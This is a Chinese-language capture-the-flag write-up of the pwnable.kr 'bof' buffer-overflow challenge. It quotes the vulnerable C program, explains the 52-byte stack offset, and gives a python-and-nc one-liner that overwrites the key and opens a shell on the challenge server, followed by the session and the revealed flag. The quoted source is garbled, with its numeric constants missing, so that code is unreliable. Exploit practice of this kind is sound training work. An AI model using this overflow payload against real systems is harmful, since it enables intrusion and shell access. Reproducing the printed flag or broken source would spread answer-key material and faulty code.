pwnable.kr bof
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiADNyEzLcd3LcJzLcJzdllmVldWYtl2Q3UCcpJHdz9CX05WZpJ3bt8Gd1F2LcJjcn9WTldWYtl2Pn5GcuImYihTN3ATZhNGNwcjM3kTLyMTO4gTOz8CXzV2Zh1WafRWYvxGc19CXvlmL1h2cuFWaq5ycldWYtlWLkF2bsBXdvw1LcpDc0RHaiojIsJye.png)
同樣的,既然有源代碼。我們就配合着源代碼來做題,這樣可能更利于搞懂進階語言被反彙編之後兩者之間的聯系。
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == ){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func();
return ;
}
這是關于數組溢出的問題,導緻這個問題的原因是由于 gets() 函數沒有檢查接受字元串長度導緻的。有的編譯器在編譯源代碼的時候也會提示警告。其實這個題目也是相當的簡單,如果你了解棧機制的話。
我們要做的就是讓輸入的字元串的後面四個位元組覆寫 key。其實我們要做的就是算出 overflow 數組的首位址到 key 首位址之間的距離。
gets(overflow) 是接受輸入,當然是從 overflow 的首位址開始存儲位元組。前面的 esp (esp在彙編中為棧頂指針,棧中資料都是從棧頂進去的,是以你懂的…)存放的就是 overflow 的基址,為 ebp + s 其中 s = byte ptr - 2ch。然後 key 的基址當然要在 cmd 裡面找,因為 if (key == 0x….) 是以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然後很簡單的算出兩者的距離為 52。是以我們在輸入 0xcafebabe 之前需要填充 52 個字元。
解題:
$ (python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
*Flag:***daddy, I just pwned a buFFer :)
其實用 gdb 調試也是一樣的,由于時間和精力問題,這裡不繼續下去,感興趣的自己去嘗試。